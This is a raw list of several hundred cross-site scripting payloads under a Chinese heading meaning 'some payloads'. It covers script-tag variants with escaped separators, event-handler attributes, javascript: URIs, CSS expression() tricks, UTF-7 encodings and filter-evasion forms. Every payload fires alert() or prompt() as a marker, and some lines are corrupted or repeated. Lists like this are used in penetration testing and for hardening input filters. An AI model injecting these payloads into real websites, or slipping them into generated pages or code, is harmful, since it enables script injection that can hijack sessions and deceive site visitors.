一些payload
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(2);</script>
<script\x0Dtype="text/javascript">javascript:alert(3);</script>
<script\x09type="text/javascript">javascript:alert(4);</script>
<script\x0Ctype="text/javascript">javascript:alert(5);</script>
<script\x2Ftype="text/javascript">javascript:alert(6);</script>
<script\x0Atype="text/javascript">javascript:alert(7);</script>
'`"><\x3Cscript>javascript:alert(8)</script>
'`"><\x00script>javascript:alert(9)</script>
<img src=10 href=10 onerror="javascript:alert(10)"></img>
<audio src=11 href=11 onerror="javascript:alert(11)"></audio>
<video src=12 href=12 onerror="javascript:alert(12)"></video>
<body src=13 href=13 onerror="javascript:alert(13)"></body>
<image src=14 href=14 onerror="javascript:alert(14)"></image>
<object src=15 href=15 onerror="javascript:alert(15)"></object>
<script src=16 href=16 onerror="javascript:alert(16)"></script>
<svg onResize svg onResize="javascript:javascript:alert(17)"></svg onResize>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(18)"></title onPropertyChange>
<iframe onLoad iframe onLoad="javascript:javascript:alert(19)"></iframe onLoad>
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(20)"></body onMouseEnter>
<body onFocus body onFocus="javascript:javascript:alert(21)"></body onFocus>
<frameset onScroll frameset onScroll="javascript:javascript:alert(22)"></frameset onScroll>
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(23)"></script onReadyStateChange>
<html onMouseUp html onMouseUp="javascript:javascript:alert(24)"></html onMouseUp>
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(25)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:alert(26)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:alert(27)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:alert(28)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:alert(29)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:alert(30)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(31)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(32)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(33)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:alert(34)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(35)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:alert(36)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(37)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:alert(38)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:alert(39)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:alert(40)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:alert(41)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:alert(42)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(43)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(44)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:alert(45)"></html onMouseDown>
<marquee onScroll marquee onScroll="javascript:javascript:alert(46)"></marquee onScroll>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(47)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:alert(48)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(49)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:alert(50)"></svg onUnload>
<html onMouseOut html onMouseOut="javascript:javascript:alert(51)"></html onMouseOut>
<body onMouseMove body onMouseMove="javascript:javascript:alert(52)"></body onMouseMove>
<body onResize body onResize="javascript:javascript:alert(53)"></body onResize>
<object onError object onError="javascript:javascript:alert(54)"></object onError>
<body onPopState body onPopState="javascript:javascript:alert(55)"></body onPopState>
<html onMouseMove html onMouseMove="javascript:javascript:alert(56)"></html onMouseMove>
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(57)"></applet onreadystatechange>
<body onpagehide body onpagehide="javascript:javascript:alert(58)"></body onpagehide>
<svg onunload svg onunload="javascript:javascript:alert(59)"></svg onunload>
<applet onerror applet onerror="javascript:javascript:alert(60)"></applet onerror>
<body onkeyup body onkeyup="javascript:javascript:alert(61)"></body onkeyup>
<body onunload body onunload="javascript:javascript:alert(62)"></body onunload>
<iframe onload iframe onload="javascript:javascript:alert(63)"></iframe onload>
<body onload body onload="javascript:javascript:alert(64)"></body onload>
<html onmouseover html onmouseover="javascript:javascript:alert(65)"></html onmouseover>
<object onbeforeload object onbeforeload="javascript:javascript:alert(66)"></object onbeforeload>
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(67)"></body onbeforeunload>
<body onfocus body onfocus="javascript:javascript:alert(68)"></body onfocus>
<body onkeydown body onkeydown="javascript:javascript:alert(69)"></body onkeydown>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(70)"></iframe onbeforeload>
<iframe src iframe src="javascript:javascript:alert(71)"></iframe src>
<svg onload svg onload="javascript:javascript:alert(72)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:alert(73)"></html onmousemove>
<body onblur body onblur="javascript:javascript:alert(74)"></body onblur>
\x3Cscript>javascript:alert(75)</script>
'"`><script>/* *\x2Fjavascript:alert(76)// */</script>
<script>javascript:alert(77)</script\x0D
<script>javascript:alert(78)</script\x0A
<script>javascript:alert(79)</script\x0B
<script charset="\x22>javascript:alert(80)</script>
<!--\x3E<img src=xxx:x οnerrοr=javascript:alert(81)> -->
--><!-- ---> <img src=xxx:x οnerrοr=javascript:alert(82)> -->
--><!-- --\x00> <img src=xxx:x οnerrοr=javascript:alert(83)> -->
--><!-- --\x284> <img src=xxx:x οnerrοr=javascript:alert(84)> -->
--><!-- --\x3E> <img src=xxx:x οnerrοr=javascript:alert(85)> -->
`"'><img src='#\x27 onerror=javascript:alert(86)>
<a href="javascript\x3Ajavascript:alert(87)" id="fuzzelement87">test</a>
"'`><p><svg><script>a='hello\x27;javascript:alert(88)
<a href="javas\x00cript:javascript:alert(89)" id="fuzzelement89">test</a>
<a href="javas\x07cript:javascript:alert(90)" id="fuzzelement90">test</a>
<a href="javas\x0Dcript:javascript:alert(91)" id="fuzzelement91">test</a>
<a href="javas\x0Acript:javascript:alert(92)" id="fuzzelement92">test</a>
<a href="javas\x08cript:javascript:alert(93)" id="fuzzelement93">test</a>
<a href="javas\x02cript:javascript:alert(94)" id="fuzzelement94">test</a>
<a href="javas\x03cript:javascript:alert(95)" id="fuzzelement95">test</a>
<a href="javas\x04cript:javascript:alert(96)" id="fuzzelement96">test</a>
<a href="javas\x097cript:javascript:alert(97)" id="fuzzelement97">test</a>
<a href="javas\x05cript:javascript:alert(98)" id="fuzzelement98">test</a>
<a href="javas\x0Bcript:javascript:alert(99)" id="fuzzelement99">test</a>
<a href="javas\x09cript:javascript:alert(100)" id="fuzzelement100">test</a>
<a href="javas\x06cript:javascript:alert(101)" id="fuzzelement101">test</a>
<a href="javas\x0Ccript:javascript:alert(102)" id="fuzzelement102">test</a>
<script></script>
<script></script>
<style></style\x3E<img src="about:blank" onerror=javascript:alert(105)
<style></style\x0D<img src="about:blank" onerror=javascript:alert(106)
<style></style\x09<img src="about:blank" onerror=javascript:alert(107)
<style></style\x20<img src="about:blank" onerror=javascript:alert(108)
<style></style\x0A<img src="about:blank" onerror=javascript:alert(109)
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(110);$($){_setter=$,_=javascript:alert(384)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(385))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(386)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(387)')()</script>
<meta charset="mac-farsi">¼script¾javascript:alert(390)¼/script¾
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(391)` >
392<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh䎒vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"οnerrοr=javascript:alert(392)>`>
393<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(393)>>
395<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(395) strokecolor=white strokeweight=395000px from=0 to=395000 /></a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(396)">XXX</a>
<event-source src="%(event)s" onload="javascript:alert(399)">
<a href="javascript:javascript:alert(400)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<img񡿹src=x:x񡿹onerror񡿹=javascript:alert(401)>">
<script>javascript:alert(405)</script>
<IMG SRC="javascript:javascript:alert(406);">
<IMG SRC=javascript:javascript:alert(407)>
<IMG SRC=`javascript:javascript:alert(408)`>
<FRAMESET><FRAME SRC="javascript:javascript:alert(410);"></FRAMESET>
<BODY ONLOAD=javascript:alert(411)>
<BODY ONLOAD=javascript:javascript:alert(412)>
<IMG SRC="jav ascript:javascript:alert(413);">
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(414)>
<IMG SRC="javascript:javascript:alert(417)"
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(419);">
<IMG DYNSRC="javascript:javascript:alert(420)">
<IMG LOWSRC="javascript:javascript:alert(421)">
<BGSOUND SRC="javascript:javascript:alert(422);">
<BR SIZE="&{javascript:alert(423)}">
<LINK REL="stylesheet" HREF="javascript:javascript:alert(425);">
<STYLE>li {list-style-image: url("javascript:javascript:alert(429)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(430);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(431);">
<IFRAME SRC="javascript:javascript:alert(432);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:alert(433)">
<TABLE><TD BACKGROUND="javascript:javascript:alert(434)">
<DIV STYLE="background-image: url(javascript:javascript:alert(435))">
<DIV STYLE="width:expression(javascript:alert(436));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(437))">
<XSS STYLE="xss:expression(javascript:alert(438))">
<STYLE TYPE="text/javascript">javascript:alert(439);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:alert(440)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(441)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:alert(442);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:alert(443);//">
<OBJECT classid=clsid:ae24fdae-03c6-445445d445-8b76-0080c744f389><param name=url value=javascript:javascript:alert(445)></OBJECT>
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(446)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(447)</SCRIPT>"></BODY></HTML>
<form id="test" /><button form="test" formaction="javascript:javascript:alert(450)">X
<body οnscrοll=javascript:alert(451)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(452)">
<STYLE>a{background:url('s454' 's2)}@import javascript:javascript:alert(454);');}</STYLE>
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(455)&&;&&<&&/script&&>
<SCRIPT onreadystatechange=javascript:javascript:alert(456);></SCRIPT>
<style onreadystatechange=javascript:javascript:alert(457);></style>
<?xml version="458.0"?><html:html xmlns:html='http://www.w3.org/458999/xhtml'><html:script>javascript:alert(458);</html:script></html:html>
<embed code=javascript:javascript:alert(460);></embed>
<frameset οnlοad=javascript:javascript:alert(462)></frameset>
<object οnerrοr=javascript:javascript:alert(463)>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(465);">]]</C><X></xml>
<IMG SRC=&{javascript:alert(466);};>
<a href="javAascript:javascript:alert(467)">test467</a>
<a href="javaascript:javascript:alert(468)">test468</a>
<iframe srcdoc="<iframe/srcdoc=&lt;img/src=&apos;&apos;οnerrοr=javascript:alert(470)&gt;>">
';alert(471))//';alert(471))//";
alert(472))//";alert(472))//--
></SCRIPT>">'><SCRIPT>alert(473))</SCRIPT>
<IMG SRC="javascript:alert(476);">
<IMG SRC=javascript:alert(477)>
<IMG SRC=JaVaScRiPt:alert(478)>
<IMG SRC=javascript:alert(479)>
<IMG SRC=`javascript:alert(480)`>
<a οnmοuseοver="alert(481)">xxs link</a>
<a οnmοuseοver=alert(482)>xxs link</a>
<IMG """><SCRIPT>alert(483)</SCRIPT>">
<IMG SRC=javascript:alert(484))>
<IMG SRC=# οnmοuseοver="alert(485)">
<IMG SRC= οnmοuseοver="alert(486)">
<IMG οnmοuseοver="alert(487)">
<IMG SRC="jav ascript:alert(491);">
<IMG SRC="jav	ascript:alert(492);">
<IMG SRC="jav
ascript:alert(493);">
<IMG SRC="jav
ascript:alert(494);">
perl -e 'print "<IMG SRC=java\0script:alert(495)>";' > out
<IMG SRC="  javascript:alert(496);">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(498)>
<<SCRIPT>alert(500);
<IMG SRC="javascript:alert(503)"
\";alert(505);
</TITLE><SCRIPT>alert(506);</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert(507);">
<BODY BACKGROUND="javascript:alert(508)">
<IMG DYNSRC="javascript:alert(509)">
<IMG LOWSRC="javascript:alert(510)">
<STYLE>li {list-style-image: url("javascript:alert(511)");}</STYLE><UL><LI>XSS</br>
<BODY ONLOAD=alert(514)>
<BGSOUND SRC="javascript:alert(515);">
<BR SIZE="&{alert(516)}">
<LINK REL="stylesheet" HREF="javascript:alert(517);">
<STYLE>@im\port'\ja\vasc\ript:alert(522)';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert(523))">
exp/*");xss:ex/*>alert(577)</script
<iframe/src="data:text/html,<svg ��load=alert(579)>">
<meta content="
 580 
; JAVASCRIPT: alert(580)" http-equiv="refresh"/>
<form><iframe 	ᛸ򏬬 src="javascript:alert(588)"򏬬ᛸ	;>
http://www.google<script .com>alert(590)</script
<script ^__^>alert(594))</script ^__^
</style  ><script   :-(>alert(595)</script   :-(
�</form><input typeᧄ"date" onfocus="alert(596)">
<a href="javascript:void(0)" onmouseover=
javascript:alert(600)
>X</a>
<script ~~~>alert(601)</script ~~~>
<iframe/%00/ src=javaSCRIPT:alert(609)
<%<!--'%><script>alert(626);</script -->
<script src="data:text/javascript,alert(627)"></script>
<iframe/onreadystatechange=alert(629)
<svg/onload=alert(630)
<input type="text" value=`` <div/onmouseover='alert(632)'>X</div>
http://www.<script>alert(633)</script .com
<svg><script ?>alert(635)
<img src=`xx:xx`onerror=alert(637)>
<meta http-equiv="refresh" content="0;javascript:alert(639)"/>
<script>+-+-649-+-+alert(649)</script>
<body/onload=<!-->ᥤalert(650)>
<script itworksinallbrowsers>alert(651)</script
<img src ?itworksonchrome?\/onerror = alert(652)
<svg><script onlypossibleinopera:-)> alert(654)
<script x> alert(656) </script 656=2
<div/onmouseover='alert(657)'> style="x:">
<--`<img/src=` onerror=alert(658)> --!>
<div style="position:absolute;top:0;left:0;width:66000%;height:66000%" onmouseover="prompt(660)" onclick="alert(660)">x</button>
<form><button formaction=javascript:alert(662)>CLICKME
‘; alert(667);
‘)alert(668);
<ScRiPt>alert(669)</sCriPt>
<IMG SRC=jAVasCrIPt:alert(670)>
<IMG SRC=”javascript:alert(671);”>
<IMG SRC=javascript:alert(672)>
<IMG SRC=javascript:alert(673)>
<img src=xss onerror=alert(674)>
<img src=`%00`
 onerror=alert(681)

<script >alert(685)</script
<iframe/src="data:text/html,<svg ��load=alert(687)>">
<meta content="
 688 
; JAVASCRIPT: alert(688)" http-equiv="refresh"/>
<form><iframe 	ᬰ򪅸 src="javascript:alert(696)"򪅸ᬰ	;>
http://www.google<script .com>alert(698)</script
<script ^__^>alert(702))</script ^__^
</style  ><script   :-(>alert(703)</script   :-(
�</form><input typeᨰ"date" onfocus="alert(704)">
<a href="javascript:void(0)" onmouseover=
javascript:alert(708)
>X</a>
<script ~~~>alert(709)</script ~~~>
<iframe/%00/ src=javaSCRIPT:alert(717)
<%<!--'%><script>alert(734);</script -->
<script src="data:text/javascript,alert(735)"></script>
<iframe/onreadystatechange=alert(737)
<svg/onload=alert(738)
<input type="text" value=`` <div/onmouseover='alert(740)'>X</div>
http://www.<script>alert(741)</script .com
<svg><script ?>alert(743)
<img src=`xx:xx`onerror=alert(745)>
<meta http-equiv="refresh" content="0;javascript:alert(746)"/>
<script>+-+-756-+-+alert(756)</script>
<body/onload=<!-->ᶒalert(757)>
<script itworksinallbrowsers>alert(758)</script
<img src ?itworksonchrome?\/onerror = alert(759)
<svg><script onlypossibleinopera:-)> alert(761)
<script x> alert(763) </script 763=2
<div/onmouseover='alert(764)'> style="x:">
<--`<img/src=` onerror=alert(765)> --!>
<div style="xg-p:absolute;top:0;left:0;width:76700%;height:76700%" onmouseover="prompt(767)" onclick="alert(767)">x</button>
<form><button formaction=javascript:alert(769)>CLICKME
‘;alert(775))
<IMG “””><SCRIPT>alert(776)</SCRIPT>”>
<IMG SRC=javascript:alert(777))>
<IMG SRC=”jav ascript:alert(778);”>
<IMG SRC=”jav	ascript:alert(779);”>
<<SCRIPT>alert(780);
%253cscript%253ealert(781)%253c/script%253e
“><s”%2b”cript>alert(782)</script>
foo<script>alert(783)</script>
<scr<script>ipt>alert(784)</scr</script>ipt>
<BODY BACKGROUND=”javascript:alert(788)”>
<BODY ONLOAD=alert(789)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(790);”>
<IMG SRC=”javascript:alert(791)”
javascript:alert(793)
<img src="javascript:alert(794);">
<img src=javascript:alert(795)>
<"';alert(796))//\';alert(796))//";alert(796))
<IFRAME SRC="javascript:alert(798);"></IFRAME>
<<SCRIPT>alert(805);
<"';alert(806))//\';alert(806))//";alert(806))
';alert(807))//\';alert(807))//";alert(807))//\";alert(807))//--></SCRIPT>">'><SCRIPT>alert(807))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert(808)</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert(809);</script>&search=1
0&q=';alert(810))//\';alert%2?8810))//";alert(String.fromCharCode?(88,83,83))//\";alert(810)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<BODY ONLOAD=alert(812)>
<body onscroll=alert(815)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(816)">lol
<!--<img src="--><img src=x οnerrοr=alert(817)//">
<![><img src="]><img src=x οnerrοr=alert(818)//">
<style><img src="</style><img src=x οnerrοr=alert(819)//">
<? foo="><script>alert(820)</script>">
<! foo="><script>alert(821)</script>">
</ foo="><script>alert(822)</script>">
<? foo="><x foo='?><script>alert(823)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(824)</script>">
<% foo><x foo="%><script>alert(825)</script>">
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(829)</script></svg>
<SCRIPT>alert(830)</SCRIPT>
\\";alert(831);
</TITLE><SCRIPT>alert(832);</SCRIPT>
<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert(833);\">
<BODY BACKGROUND=\"javascript:alert(834)\">
<BODY ONLOAD=alert(835)>
<IMG DYNSRC=\"javascript:alert(836)\">
<IMG LOWSRC=\"javascript:alert(837)\">
<BGSOUND SRC=\"javascript:alert(838);\">
<BR SIZE=\"&{alert(839)}\">
<LINK REL=\"stylesheet\" HREF=\"javascript:alert(841);\">
<STYLE>li {list-style-image: url(\"javascript:alert(847)\");}</STYLE><UL><LI>XSS
žscriptualert(851)ž/scriptu
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(852);\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http:
<IFRAME SRC=\"javascript:alert(855);\"></IFRAME>
<FRAMESET><FRAME SRC=\"javascript:alert(856);\"></FRAMESET>
<TABLE BACKGROUND=\"javascript:alert(857)\">
<TABLE><TD BACKGROUND=\"javascript:alert(858)\">
<DIV STYLE=\"background-image: url(javascript:alert(859))\">
<DIV STYLE=\"background-image: url(javascript:alert(861))\">
<DIV STYLE=\"width: expression(alert(862));\">
<STYLE>@im\port'\ja\vasc\ript:alert(863)';</STYLE>
<IMG STYLE=\"xss:expression(alert(864))\">
<XSS STYLE=\"xss:expression(alert(865))\">
xss:ex/*XSS*
<STYLE TYPE=\"text/javascript\">alert(868);</STYLE>
<STYLE>.XSS{background-image:url(\"javascript:alert(869)\");}</STYLE><A CLASS=XSS></A>
<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert(870)\")}</STYLE>
<SCRIPT>alert(872);</SCRIPT>
<BASE HREF=\"javascript:alert(874);
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(876)></OBJECT>
d=\"alert(882);\\")\";
<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert(885);\">]]>
<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert(887)\"></B></I></XML>
<t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert(894)</SCRIPT>\">
echo('IPT>alert(899)</SCRIPT>'); ?>
<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert(902)</SCRIPT>\">
<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert(903);+ADw-/SCRIPT+AD4-
<IMG SRC=\"javascript:alert(991)\"
<<SCRIPT>alert(994);
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(996)>
<IMG SRC=\" javascript:alert(998);\">
perl -e 'print \"<SCR\0IPT>alert(999)</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(1000)>\";' > out
<IMG SRC=\"jav
ascript:alert(1001);\">
<IMG SRC=\"jav
ascript:alert(1002);\">
<IMG SRC=\"jav	ascript:alert(1003);\">
<IMG SRC=javascript:alert(1006)>
<IMG SRC=javascript:alert(1007))>
<IMG \"\"\"><SCRIPT>alert(1008)</SCRIPT>\">
<IMG SRC=`javascript:alert(1009)`>
<IMG SRC=javascript:alert(1010)>
<IMG SRC=JaVaScRiPt:alert(1011)>
<IMG SRC=javascript:alert(1012)>
<IMG SRC=\"javascript:alert(1013);\">
';alert(1016))//\';alert(1016))//\";alert(1016))//\\";alert(1016))//--></SCRIPT>\">'><SCRIPT>alert(1016))</SCRIPT>
';alert(1017))//\';alert(1017))//";alert(1017))//\";alert(1017))//--></SCRIPT>">'><SCRIPT>alert(1017))</SCRIPT>
<IMG SRC="javascript:alert(1020);">
<IMG SRC=javascript:alert(1021)>
<IMG SRC=javascrscriptipt:alert(1022)>
<IMG SRC=JaVaScRiPt:alert(1023)>
<IMG """><SCRIPT>alert(1024)</SCRIPT>">
<IMG SRC="  javascript:alert(1025);">
<<SCRIPT>alert(1028);//<</SCRIPT>
<SCRIPT>a=/XSS/alert(1029)</SCRIPT>
\";alert(1030);//
</TITLE><SCRIPT>alert(1031);</SCRIPT>
¼script¾alert(1032)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1033);">
<IFRAME SRC="javascript:alert(1034);"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert(1035);"></FRAMESET>
<TABLE BACKGROUND="javascript:alert(1036)">
<TABLE><TD BACKGROUND="javascript:alert(1037)">
<DIV STYLE="background-image: url(javascript:alert(1038))">
<DIV STYLE="width: expression(alert(1040));">
<STYLE>@im\port'\ja\vasc\ript:alert(1041)';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert(1042))">
<XSS STYLE="xss:expression(alert(1043))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert(1044))'>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert(1048)</SCRIPT>"></BODY></HTML>
<form id="test" /><button form="test" formaction="javascript:alert(1050)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(1051)">crosssitespt
<frameset οnlοad=alert(1052)>
<!--<img src="--><img src=x οnerrοr=alert(1053)//">
<style><img src="</style><img src=x οnerrοr=alert(1054)//">
<embed src="javascript:alert(1057)">
<? foo="><script>alert(1058)</script>">
<! foo="><script>alert(1059)</script>">
</ foo="><script>alert(1060)</script>">
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1062)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1063)')()</script>
<script src="#">{alert(1064)}</script>;1064
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1065)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1066)</script></svg>
<svg οnlοad="javascript:alert(1067)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1068)"></iframe>
+ADw-script+AD4-alert(1069)+ADw-/script+AD4-
%2BADw-script+AD4-alert(1070)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(1071)+ADw-/script+AD4APAAi-
%253cscript%253ealert(1073)%253c/script%253e
“><s”%2b”cript>alert(1074)</script>
“><ScRiPt>alert(1075)</script>
“><<script>alert(1076);//<</script>
foo<script>alert(1077)</script>
<scr<script>ipt>alert(1078)</scr</script>ipt>
‘; alert(1080); var foo=’
foo\’; alert(1081);//’;
</script><script >alert(1082)</script>
<img src=asdf οnerrοr=alert(1083)>
<BODY ONLOAD=alert(1084)>
<script>alert(1085)</script>
"><script>alert(1086))</script>
<video src=1087 οnerrοr=alert(1087)>
<audio src=1088 οnerrοr=alert(1088)>
';alert(1089))//';alert(1089))//";alert(1089))//";alert(1089))//--></SCRIPT>">'><SCRIPT>alert(1089))</SCRIPT>
0\"autofocus/οnfοcus=alert(1091)--><video/poster/οnerrοr=prompt(2)>"-confirm(3)-"
<IMG SRC="javascript:alert(1097);">
<IMG SRC=javascript:alert(1098)>
<IMG SRC=JaVaScRiPt:alert(1099)>
<IMG SRC=javascript:alert(1100)>
<IMG SRC=`javascript:alert(1101)`>
<a οnmοuseοver="alert(1102)">xxs link</a>
<a οnmοuseοver=alert(1103)>xxs link</a>
<IMG """><SCRIPT>alert(1104)</SCRIPT>">
<IMG SRC=javascript:alert(1105))>
<IMG SRC=# οnmοuseοver="alert(1106)">
<IMG SRC= οnmοuseοver="alert(1107)">
<IMG οnmοuseοver="alert(1108)">
<IMG SRC=/ οnerrοr="alert(1109))"></img>
<IMG SRC="jav ascript:alert(1115);">
<IMG SRC="jav	ascript:alert(1116);">
<IMG SRC="jav
ascript:alert(1117);">
<IMG SRC="jav
ascript:alert(1118);">
<IMG SRC="  javascript:alert(1119);">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1121)>
<<SCRIPT>alert(1123);
<IMG SRC="javascript:alert(1126)"
\";alert(1128);
</script><script>alert(1129);</script>
</TITLE><SCRIPT>alert(1130);</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert(1131);">
<BODY BACKGROUND="javascript:alert(1132)">
<IMG DYNSRC="javascript:alert(1133)">
<IMG LOWSRC="javascript:alert(1134)">
<STYLE>li {list-style-image: url("javascript:alert(1135)");}</STYLE><UL><LI>XSS</br>
<BODY ONLOAD=alert(1138)>
<BGSOUND SRC="javascript:alert(1139);">
<BR SIZE="&{alert(1140)}">
<LINK REL="stylesheet" HREF="javascript:alert(1141);">
<STYLE>@im\port'\ja\vasc\ript:alert(1146)';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert(1147))">
xss:ex/*>alert(1301)</script
<iframe/src="data:text/html,<svg ��load=alert(1303)>">
<meta content="
 1304 
; JAVASCRIPT: alert(1304)" http-equiv="refresh"/>
<form><iframe 	㌶� src="javascript:alert(1311)"�㌶	;>
http://www.google<script .com>alert(1313)</script
<script ^__^>alert(1317))</script ^__^
</style  ><script   :-(>alert(1318)</script   :-(
�</form><input type"date" onfocus="alert(1319)">
<a href="javascript:void(0)" onmouseover=
javascript:alert(1323)
>X</a>
<script ~~~>alert(1324)</script ~~~>
<iframe
<%<!--'%><script>alert(1349);</script -->
<script src="data:text/javascript,alert(1350)"></script>
<iframe/onreadystatechange=alert(1352)
<svg/onload=alert(1353)
<input type="text" value=`` <div/onmouseover='alert(1355)'>X</div>
http://www.<script>alert(1356)</script .com
<svg><script ?>alert(1358)
<img src=`xx:xx`onerror=alert(1360)>
<meta http-equiv="refresh" content="0;javascript:alert(1362)"/>
<script>+-+-1372-+-+alert(1372)</script>
